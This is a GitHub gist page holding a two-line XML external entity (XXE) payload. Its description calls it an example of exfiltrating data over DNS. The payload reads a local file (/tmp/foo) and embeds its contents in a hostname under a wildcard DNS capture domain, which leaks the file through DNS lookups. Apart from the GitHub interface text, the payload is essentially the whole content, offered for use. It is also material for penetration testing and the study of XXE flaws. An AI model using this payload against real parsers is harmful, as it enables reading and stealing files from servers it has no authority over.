Skip to content

Instantly share code, notes, and snippets.

@marcwickenden
Created May 16, 2018 17:27
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Embed
What would you like to do?
Example of data exfil using DNS in XXE. This will only work if the target file (/tmp/foo in this case) does not contain new lines. Good luck with that!
<!ENTITY % data SYSTEM "file:///tmp/foo">
<!ENTITY % url "<!ENTITY &#x25; exfil SYSTEM 'http://%data;.127.0.0.1.xip.io/capture'>">
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment